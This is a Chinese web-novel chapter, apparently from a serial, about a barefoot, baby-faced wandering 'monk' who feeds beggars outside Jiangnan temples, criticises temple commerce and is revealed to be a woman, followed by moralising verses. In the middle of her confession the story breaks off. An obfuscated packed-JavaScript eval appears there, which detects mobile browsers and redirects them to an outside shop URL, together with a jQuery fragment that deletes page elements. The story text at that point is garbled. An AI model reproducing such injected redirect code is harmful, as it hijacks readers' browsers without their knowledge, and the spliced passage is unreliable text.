楔子画中僧人


    大丰三年春，苏州城来了个卖画的穷书生，在阊门外摆摊。画不奇，奇的是画中人——是个年轻僧人，娃娃脸，笑眼弯弯，赤脚站在雨中，身后烟雨朦胧，隐约见无数寺庙飞檐。


    画上题诗：


    “千里莺啼绿映红，水村山郭酒旗风。


    南朝四百八十寺，多少楼台烟雨中。”


    题款小字：“画此见者，可唤我名。”


    书生自称姓杜，说这画是昨夜梦中所见，晨起急就。有人问画中僧是谁，他摇头：“不知，但觉该画。”


    画挂了三天，无人问津。第四日，来了个绸缎商，看画良久，忽然变色：“这…这画中僧，我见过！”


    “在何处？”


    “在…在寒山寺外，前日！他在雨中施粥！”


    一、 寒山拒僧


    寒山寺是姑苏名刹，香火鼎盛。前日春雨，寺外来了个赤脚僧人，二十许模样，面如孩童，笑嘻嘻支起口破锅，熬粥施舍。粥是菜叶混糙米，却香飘半条街。


    饥民排队，僧人不问来处，见碗就舀。有老丐问：“小师父是哪座宝刹的？”


    “无刹。”僧人笑，“天是顶，地是床，哪都是刹。”


    “法号如何称呼？”


    “你叫我什么，我就是什么。”僧人舀粥，“叫和尚也行，叫花子也行，叫…喂，那个打伞的，别淋着。”


    他招呼的是个躲雨的卖花女。卖花女怯生生过来，他递过碗粥：“喝口暖的。”


    正施着，知客僧了尘出来，见寺门外聚满乞丐，大怒：“哪来的野僧，在此聚众滋事？”


    娃娃脸僧合十：“师父，雨大，施碗粥，不滋事。”


    “要施回你庙里施！寒山寺门前，岂容你撒野？”


    “我无庙。”僧人指天，“这雨是佛洒的，这地是佛赐的，我借佛的地，施佛的粥，有何不可？”


    了尘语塞，唤来武僧驱赶。娃娃脸僧不争，收拾破锅，对饥民道：“明日，枫桥下，还有粥。”


    他赤足走入雨中，破衲贴在身上，背影单薄。卖花女追上去，塞给他把油伞：“师父…留着用。”


    他回头一笑，接伞，却转手递给个跛脚老丐：“您腿脚不便，用这个。”


    自己仍淋着雨，哼着小调走了。


    杜书生听罢，喃喃道：“是他…真是他。”


    他卷起画，直奔枫桥。


    二、 枫桥粥棚


    枫桥是运河码头，货船如梭。娃娃脸僧真在桥洞下支了锅，这次不只粥，还多了些草药，给生疮的乞丐敷用。


    杜书生上前，展画：“师父，这画中人，是您么？”


    僧人瞥了眼，笑：“像，也不像。画里人在雨中，我在雨外——你看，我有棚。”他指指头顶破席。


    “您…究竟是何人？”


    “是个人。”僧人搅粥，“饿了吃饭，渴了喝水，冷了加衣，见苦难过，就帮一把。简单。”


    杜书生收起画，帮他添柴。僧人问：“你是读书人？”


    “是。”


    “读书为何？”


    “为…为功名。”


    “功名为何？”


    “为…为光宗耀祖，为民请命。”


    僧人笑了，舀勺粥递给他：“先填饱肚子，再谈请命。肚子空，命也轻。”


    杜书生接粥，烫，吹着喝。粥糙，却有股清气。正喝着，码头喧哗——有货船撞了渔船，渔夫落水，船主是豪商，命船工不准救，说“晦气”。


    僧人扔下勺，纵身跳河。春水寒，他几个起伏，将渔夫拖上岸。自己冻得唇紫，却还笑：“还好，活着。”


    渔夫家人来谢，他要了碗热水，给了渔夫，自己拧衣。豪商在船头骂：“多管闲事！淹死你个秃驴！”


    僧人仰头：“施主，人命关天，不是闲事。你今日不救，明日你落水，谁救？”


    “我有钱！雇人救！”


    “钱能雇人，雇不来良心。”僧人拧干衣，赤脚走回桥洞，“就像香能买佛，买不来慈悲。”


    豪商啐了一口，开船走了。渔夫跪谢，僧人扶起：“不必谢，见死不救，夜里睡不着。你好好活着，就是谢我。”


    他继续施粥，仿佛无事发生。杜书生却呆了——这僧人跳河救人，自然如呼吸，救人后不居功，淡然如风。


    是傻，还是…


    “师父，”他轻声问，“您这般行事，不怕得罪人？”


    “不得罪人，就得罪心。”僧人头也不抬，“心说该做，就做了。想太多，就做不了了。”


    午后，雨又下。粥棚前排起长队。有老妇递上枚铜钱，僧人不收：“粥不要钱，要钱就不施了。”


    “那…那师父靠什么活？”


    “天给饭，地给床，人给缘。”他指指运河，“你看这水，流到哪，是哪。我也一样，走到哪，是哪。不操心明天，今天饱了，就行。”


    杜书生看着他侧脸，娃娃脸上沾了灰，却有种说不出的干净。


    三、 四百八十寺


    三日后，杜书生决定跟着这怪僧。僧人不拒，只说：“跟着行，别问，看就行。”


    他们沿运河南下。每到一处，僧人必访寺——不是进香，是看。看寺门如何对香客，看功德箱摆在何处，看僧人如何念经、如何待穷人。


    在镇江金山寺，知客僧见他们衣衫褴褛，拦在门外：“今日有法会，闲人莫入。”


    僧人问：“佛说众生平等，为何闲人不能入？”


    “佛门清净地，岂容污秽？”


    “污秽在外，还是在内？”僧人指寺内，几个绸缎香客正捐金箔，“那几位身上熏香，可心里干净么？”


    知客僧怒，唤武僧。僧人笑笑，转身对门外乞丐说：“走，咱们去江边，我给你们讲个故事——讲佛陀当年，如何在菩提树下，等一个乞丐来问法。”


    他真在江滩坐下，讲“乞儿闻法得道”的故事。乞丐围坐，听得入神。有香客好奇，也来听。人越聚越多，寺里钟磬声，反被江风盖过。


    在常州天宁寺，殿前摆着“祈福榜”，捐十两可上榜，捐百两可刻碑。僧人看了，摇头：“佛要榜做甚？要碑做甚？要的是人心向善，不是向钱。”


    他找来木炭，在寺外墙根下，画了幅“施粥图”，题字：“真功德，在此处。”


    有学童问：“小师父，你不拜佛么？”


    “拜啊。”僧人合十，朝江中一拜，“佛在江里，渡人；在粥里，暖人；在你心里，醒人。何必非进殿，跪泥胎？”


    在无锡南禅寺，方丈亲自出迎——不是迎他，是迎他身后的杜书生。原来杜书生叔父是本地通判，方丈想托关系免田税。


    僧人听了，对方丈一揖：“大师，您这禅，参到官场去了？”


    方丈尬笑：“小师父不懂，寺大僧多，总要打点…”


    “打点佛，还是打点人？”僧人问，“若佛需打点，还是佛么？若人需打点，这禅，参的是空，还是色？”


    方丈色变，送客。


    出寺，杜书生叹：“江南四百八十寺，竟无一处容你。”


    僧人笑：“容不容，是他们的事。进不进，是我的事。我进，是为看看，佛还在不在寺里。看了，佛还在——”


    他指指心口：“在这儿。寺里，多是生意。”


    是夜，宿破庙。僧人对月吟诗：


    “千里莺啼绿映红，水村山郭酒旗风。


    南朝四百八十寺，多少楼台烟雨中。”


    吟罢，对杜书生道：“这诗，你只读出了景，我读出了人——那些寺里，本该住着真修行的僧，烟雨中，本该传出真慈悲的经。可如今，楼台多了，烟雨浊了。可惜。”


    杜书生问：“那真佛在何处？”


    僧人指指自己，又指指他：“在你，在我，在肯施一碗粥、肯拉落水人一把的每一个人心里。寺是屋，佛是心。心若在，处处是寺；心若不在，金殿也是空壳。”


    他躺下，以石为枕，眨眼睡了。


    月光照在他娃娃脸上，纯净如婴。


    四、 广陵露相


    四月，至扬州。扬州富甲天下，寺庙亦极尽奢华。大明寺正在办“浴佛大典”，信众捐金箔为佛贴金，一片金箔一两银。


    僧人蹲在寺外柳树下，看了一上午。午时，有个病妇携子来，想进寺求药，知客僧见其穷，不让进。妇跪求，僧人不理。


    僧人起身，走过去，对知客僧道：“让她进，我替她捐金箔。”


    “你？”知客僧嗤笑，“你有钱么？”


    僧人自怀中掏出一物——是块晶莹剔透的玉环，水色极好。知客僧眼直了：“这…这是羊脂玉！”


    “够么？”


    “够！够十片金箔！”


    僧人递玉：“让她进，这玉，捐了。”


    知客僧忙迎妇入。僧人却拦下：“等等，我有一问——佛要金身做甚？”


    “显庄严啊！”


    “佛若庄严，在心，不在身。”僧人将玉环收回，“这玉，我改主意了，不捐了。我要当了她，换钱，给这妇人治病。”


    他真去了当铺，当玉得银五十两，全给了病妇。妇泣谢，他摆手：“快治病，好了，就是谢我。”


    这一幕，被扬州知府之子陈文瑞看见。陈公子好佛，见状上前：“小师父，那玉是宝贝，为何当了？”


    “玉是死物，人是活物。救活物，比供死物强。”


    “可那是供佛的…”


    “佛要人活，不要玉供。”僧人笑，“若佛因我当了玉救人而嗔怒，那这佛，不拜也罢。”


    陈公子大奇，邀他过府。僧人不去：“府门高，我脚矮，迈不进。若有心，明日此时，瘦西湖边，我煮茶，你带耳朵来。”


    次日，瘦西湖。僧人真煮了茶，粗茶，用破壶。陈公子来，还带了几位文人。僧人盘坐柳下，不说法，说茶：


    “这茶苦，可苦后回甘。人生也苦，苦透了，才知甜是甜。拜佛求福，是想躲苦。可苦躲不掉，不如尝透，尝透了，苦就不是苦，是…味。”


    一文人问：“小师父修的是禅？”


    “我修的是人。”僧人斟茶，“禅太高，人太低。我在低处，看人苦，就伸手；看人乐，就欢喜。简单。”


    “那佛法…”


    “佛法在茶里。”他举杯，“你喝，解渴，舒坦，就是佛法。若喝了还渴，还烦，那法就是假的。”


    众人笑。陈公子忽道：“小师父，我总觉得你…不像男子。”


    僧人端茶的手，微微一滞。


    “你眉眼太清，声音太柔，行事…带着女子的细。”陈公子直视他，“你究竟是男是女？”


    僧人放下杯，良久，笑了：“是男是女，有何分别？施粥时，我是和尚；救人时，我是汉子；此刻，我是煮茶人。你要个名相，我给不了。我只知，心是慈悲的，身是皮囊，男女何妨？”


    她站起身，春风吹动破衲，显出身形曲线。


    众人惊愕。她坦然解开发带——长发披落，虽短，却是女子发式。


    “是，我是女子。”她声音轻柔，却清亮，“十三岁家破，被卖入青楼，逃出，自剃发，扮僧行脚。因女子行路难，女子说法，无人听。扮作男僧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088172|195403||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，方便些。”


    她重新束发，仍作僧相：“今日露相，是因扬州待不下去了。也罢，该走了。”


    陈公子颤声：“你…你去何处？”


    “从来处来，往去处去。”她合十，“诸位，茶喝完了，话也说尽了。记住——佛不在寺里，在施粥锅里；道不在经中，在救人手中。我是男是女，不重要；重要的是，你们肯不肯，也当一回‘僧’，施一碗粥，拉一把人。”


    她背起破包袱，赤足走入烟雨。


    杜书生追出：“师父！我…我跟你走！”


    “不必。”她回头一笑，“你画你的画，写你的诗。把今日所见，画出来，写出来，让更多人知道——这世上，还有这样的‘僧’，这样的‘佛’。”


    她摆摆手，身影渐远，融入江南烟雨。


    像一滴墨，化在宣纸上，淡了，散了，却晕染开来。


    五、 烟雨真迹


    三个月后，杜书生完成长卷《江南烟雨行脚图》。画中，娃娃脸僧赤脚行于烟雨，或施粥，或救人，或煮茶，或说笑。身后背景，是无数寺庙楼台，金碧辉煌，却在烟雨中模糊不清。


    卷末题诗：


    “千里莺啼绿映红，水村山郭酒旗风。


    南朝四百八十寺，多少楼台烟雨中。


    寺中有僧不读经，雨中无伞自擎灯。


    莫问真佛在何处，且看赤脚过人生。”


    画展出，震动江南。有僧人来斥“谤佛”，有文人来赞“写真”，有百姓来看，指着画中僧：“我见过！在枫桥施粥！”“在金山寺外讲故事！”“在扬州当玉救人！”


    陈公子重金购画，悬于书房。每逢有僧道来谈玄，他便指画：“先看此画，再谈佛法。”


    大明寺方丈见画，默然三日，撤了“捐金箔榜”，设义诊棚。寒山寺知客僧了尘，辞去知客职，自请去城外施粥。


    消息传到京城，皇帝下旨寻“画中僧”，欲封“国师”。寻遍江南，无果。


    唯运河船夫说，夜行船时，偶见岸上有赤脚人影，哼着小调，一晃而过，不知是人是影。


    杜书生封笔，在枫桥旁结庐，每日煮茶待客。有问画中僧的，他只斟茶：“喝茶，茶里有她。”


    客不解。他指窗外烟雨：“你看这雨，下到寺里，是香火钱；下到锅里，是救命粥。她选了下锅的雨。这选择，便是佛。”


    又一年春，江南烟雨依旧。四百八十寺钟声，在雨中沉沉传来。


    只是有些寺里，多了施粥棚。


    有些僧衣下，多了颗跳在民间的心。


    而枫桥下，总有个书生煮茶，对客说：


    “佛啊，不在西天，在雨里，在粥里，在你肯不肯伸出的手里。”


    客饮茶，茶苦，回甘。


    像极了，那年的那碗粥。


    尾声雨终人未散


    十年后，杜书生病故。临终，将《江南烟雨行脚图》付与陈公子：“此画…该在民间。”


    陈公子将画刻版，印千份，散于江南各寺。有僧将画悬于禅房，晨昏对照。


    又十年，运河大水，灾民遍野。各寺自发设棚施粥，僧侣赤脚抬石固堤。有老僧指着水中倒影：“看，像不像画中僧？”


    众人看，波光粼粼，仿佛真有赤脚僧影，踏水而行。


    从此，江南有谚：


    “真佛不坐殿，赤脚行雨天。


    施粥一锅暖，胜烧万炷香。”


    而每年春雨，总有人想起，那个娃娃脸、赤脚、笑眼弯弯的“僧”。


    是男是女，不知。


    是僧是俗，不知。


    只知，她来过，笑过，施过粥，救过人，说过几句大白话：


    “佛是热的，道是暖的，人是苦的，心是善的。”


    够了。


    雨还在下，下了一千年。


    寺立了又倒，倒了又立。


    唯有烟雨中，那赤脚的身影，一直在走。


    走向每一个，需要一碗粥的，清晨。


    本章诫世


    一、 赤脚行雨之镜


    - 以无寺、无牒、无名之行脚僧，对照体制化寺院


    - 破解法：凡标榜“正统”而拒“异端”者，必察其心虚处


    - 示例：寺门拒入、雨中施粥、当玉救人


    二、 女身佛行之悖


    - 女性需扮男装方能行脚说法，揭露宗教性别虚伪


    - 惕世：当“平等”成口号，“方便”成枷锁


    - 反思：大雄宝殿容不下比丘尼，街头巷尾却现女菩萨


    三、 烟雨楼台之讽


    - “四百八十寺”在烟雨中模糊，唯赤脚僧清晰


    - 深层隐喻：宗教建筑愈宏伟，真精神愈稀薄


    - 终极质问：佛在琉璃瓦下，还是在施粥棚中？


    行脚偈：


    江南烟雨柳如丝，赤脚行来不觉迟。


    寺门拒入因衣破，锅前愿施是心慈。


    玉环可当救人命，真佛原不坐莲池。


    莫道僧俗无分别，一碗热粥即慈悲。


    后世叹：


    大丰三年春水生，姑苏城外画僧行。


    寒山寺前粥犹热，枫桥月下语自清。


    金箔贴佛终是幻，玉环救人才为诚。


    十年烟雨江南路，犹见赤脚雨中轻。


    正是：


    千里莺啼绿映红，水村山郭酒旗风。


    南朝四百八十寺，多少楼台烟雨中。


    寺中有僧不读经，雨中无伞自擎灯。


    莫问真佛在何处，且看赤脚过人生。